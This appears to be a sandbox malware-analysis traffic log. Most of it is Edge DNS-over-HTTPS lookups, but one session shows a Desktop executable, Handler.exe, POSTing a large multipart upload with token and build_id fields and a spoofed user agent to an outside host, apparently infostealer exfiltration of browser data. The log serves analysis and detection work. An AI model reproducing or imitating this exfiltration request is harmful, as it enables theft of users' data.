2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 30 63 32 4e 79 5a 57 56 75 58 33 56 79 62 46 39 69 62 47 39 6a 61 33 4e 66 59 6e 6c 77 59 58 4e 7a 5a 57 52 66 59 32 39 31 62 6e 52 6c 63 69 42 4a 54 6c 52 46 52 30 56 53 4c 48 4e 74 59 58 4a 30 63 32 4e 79 5a 57 56 75 58 32 52 76 64 32 35 73 62 32 46 6b 58 32 4a 73 62 32 4e 72 63 31 39 6a 62 33 56 75 64 47 56 79 49 45 6c 4f 56 45 56 48 52 56 49 73 63 32 31 68 63 6e 52 7a 59 33 4a 6c 5a 57 35 66 5a 47 39 33 62 6d 78 76 59 57 52 66 59 6d 78 76 59 32 74 7a 58 32 4a 35 63 47 46 7a 63 32 56 6b 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 7a 62 57 46 79 64 48 4e 6a 63 6d 56 6c 62 6c 39 74 59 57 78 32 5a 58 4a 30 61 58 4e 70 62 6d 64 66 59 6d 78 76 59 32 74 7a 58 32 4e 76 64 57 35 30 5a 58 49 67 53 55 35 55 52 55 64 46 55 69 78 68 59 6e Data Ascii: 0c2NyZWVuX3VybF9ibG9ja3NfYnlwYXNzZWRfY291bnRlciBJTlRFR0VSLHNtYXJ0c2NyZWVuX2Rvd25sb2FkX2Jsb2Nrc19jb3VudGVyIElOVEVHRVIsc21hcnRzY3JlZW5fZG93bmxvYWRfYmxvY2tzX2J5cGFzc2VkX2NvdW50ZXIgSU5URUdFUixzbWFydHNjcmVlbl9tYWx2ZXJ0aXNpbmdfYmxvY2tzX2NvdW50ZXIgSU5URUdFUixhYn
2025-01-15 19:16:36 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49926	162.159.61.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom)QM
2025-01-15 19:16:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028338599dc4271-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 0d ee 00 2d 12 65 64 67 65 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 36 08 61 2d 6d 73 65 64 67 65 03 6e 65 74 00 c0 30 00 05 00 01 00 00 00 ce 00 18 0b 64 75 61 6c 2d 61 2d 30 30 33 36 09 64 63 2d 6d 73 65 64 67 65 c0 58 c0 69 00 01 00 01 00 00 00 ce 00 04 0d 6b 16 ef c0 69 00 01 00 01 00 00 00 ce 00 04 83 fd 21 ef 00 00 29 04 d0 00 00 00 00 01 28 00 0c 01 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcom-edge-microsoft-comdual-a-0036a-msedgenet0dual-a-0036dc-msedgeXiki!)($

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49925	162.159.61.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 04 65 64 67 65 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 51 00 0c 00 4d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: edgemicrosoftcomA)QM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49931	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 61 72 63 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 58 00 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: arcmsncom)XT
2025-01-15 19:16:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833880c30c463-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 03 61 72 63 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 60 00 18 03 61 72 63 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 29 00 05 00 01 00 00 00 3c 00 33 19 69 72 69 73 2d 64 65 2d 70 72 6f 64 2d 61 7a 73 63 2d 76 32 2d 65 75 73 32 07 65 61 73 74 75 73 32 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 14 c0 4d 00 01 00 01 00 00 00 0a 00 04 14 60 99 6f 00 00 29 04 d0 00 00 00 00 01 39 00 0c 01 35 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: arcmsncomT`arctrafficmanagernet)<3iris-de-prod-azsc-v2-eus2eastus2cloudappazureM`o)95

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49930	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 61 72 63 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 58 00 0c 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: arcmsncomA)XT
2025-01-15 19:16:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833880ba5437b-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 03 61 72 63 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 54 5a 00 18 03 61 72 63 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 29 00 05 00 01 00 00 00 36 00 33 19 69 72 69 73 2d 64 65 2d 70 72 6f 64 2d 61 7a 73 63 2d 76 32 2d 65 75 73 32 07 65 61 73 74 75 73 32 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 14 c0 67 00 06 00 01 00 00 00 36 00 3a 06 6e 73 31 2d 30 36 09 61 7a 75 72 65 2d 64 6e 73 c0 14 06 6d 73 6e 68 73 74 09 6d 69 63 72 6f 73 6f 66 74 c0 14 00 00 27 11 00 00 03 84 00 00 01 2c 00 09 3a 80 00 00 00 3c 00 00 29 04 d0 00 00 00 00 01 03 00 0c 00 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: arcmsncomATZarctrafficmanagernet)63iris-de-prod-azsc-v2-eus2eastus2cloudappazureg6:ns1-06azure-dnsmsnhstmicrosoft',:<)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49938	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 01 63 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 5a 00 0c 00 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cmsncom)ZV
2025-01-15 19:16:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028338868878c0c-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 00 00 01 01 63 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 29 00 24 0f 63 2d 6d 73 6e 2d 63 6f 6d 2d 6e 73 61 74 63 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 27 00 01 00 01 00 00 00 05 00 04 14 6e cd 77 00 00 29 04 d0 00 00 00 00 01 6e 00 0c 01 6a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cmsncomT)$c-msn-com-nsatctrafficmanagernet'nw)nj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49933	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 01 63 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 5a 00 0c 00 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cmsncomA)ZV
2025-01-15 19:16:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833888b4e4396-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 01 00 01 01 63 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 53 e9 00 24 0f 63 2d 6d 73 6e 2d 63 6f 6d 2d 6e 73 61 74 63 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 37 00 06 00 01 00 00 00 0a 00 2e 03 74 6d 31 06 64 6e 73 2d 74 6d c0 12 0a 68 6f 73 74 6d 61 73 74 65 72 c0 37 77 64 96 60 00 00 03 84 00 00 01 2c 00 24 ea 00 00 00 00 1e 00 00 29 04 d0 00 00 00 00 01 44 00 0c 01 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: cmsncomAS$c-msn-com-nsatctrafficmanagernet7.tm1dns-tmhostmaster7wd`,$)D@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49939	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 02 73 62 11 73 63 6f 72 65 63 61 72 64 72 65 73 65 61 72 63 68 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 4b 00 0c 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sbscorecardresearchcom)KG
2025-01-15 19:16:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283388ab427cab-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 04 00 00 00 01 02 73 62 11 73 63 6f 72 65 63 61 72 64 72 65 73 65 61 72 63 68 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 27 00 04 6c 8b 2f 21 c0 0c 00 01 00 01 00 00 00 27 00 04 6c 8b 2f 5c c0 0c 00 01 00 01 00 00 00 27 00 04 6c 8b 2f 32 c0 0c 00 01 00 01 00 00 00 27 00 04 6c 8b 2f 6c 00 00 29 04 d0 00 00 00 00 01 5f 00 0c 01 5b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sbscorecardresearchcom'l/!'l/\'l/2'l/l)_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49932	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:37 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:37 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 02 73 62 11 73 63 6f 72 65 63 61 72 64 72 65 73 65 61 72 63 68 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 4b 00 0c 00 47 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sbscorecardresearchcomA)KG
2025-01-15 19:16:37 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:37 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 90283388b88141de-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:37 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 00 00 01 00 01 02 73 62 11 73 63 6f 72 65 63 61 72 64 72 65 73 65 61 72 63 68 03 63 6f 6d 00 00 41 00 01 c0 0f 00 06 00 01 00 01 51 79 00 45 06 6e 73 2d 39 30 35 09 61 77 73 64 6e 73 2d 34 39 03 6e 65 74 00 11 61 77 73 64 6e 73 2d 68 6f 73 74 6d 61 73 74 65 72 06 61 6d 61 7a 6f 6e c0 21 00 00 00 01 00 00 1c 20 00 00 03 84 00 12 75 00 00 01 51 80 00 00 29 04 d0 00 00 00 00 01 4e 00 0c 01 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: sbscorecardresearchcomAQyEns-905awsdns-49netawsdns-hostmasteramazon! uQ)NJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49942	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:38 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----e3ekxb1dtjw47ymgl6fk User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 393697 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 65 33 65 6b 78 62 31 64 74 6a 77 34 37 79 6d 67 6c 36 66 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 65 33 65 6b 78 62 31 64 74 6a 77 34 37 79 6d 67 6c 36 66 6b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 65 33 65 6b 78 62 31 64 74 6a 77 34 37 79 6d 67 6c 36 66 6b 0d 0a 43 6f 6e 74 Data Ascii: ------e3ekxb1dtjw47ymgl6fkContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------e3ekxb1dtjw47ymgl6fkContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------e3ekxb1dtjw47ymgl6fkCont
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:38 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: 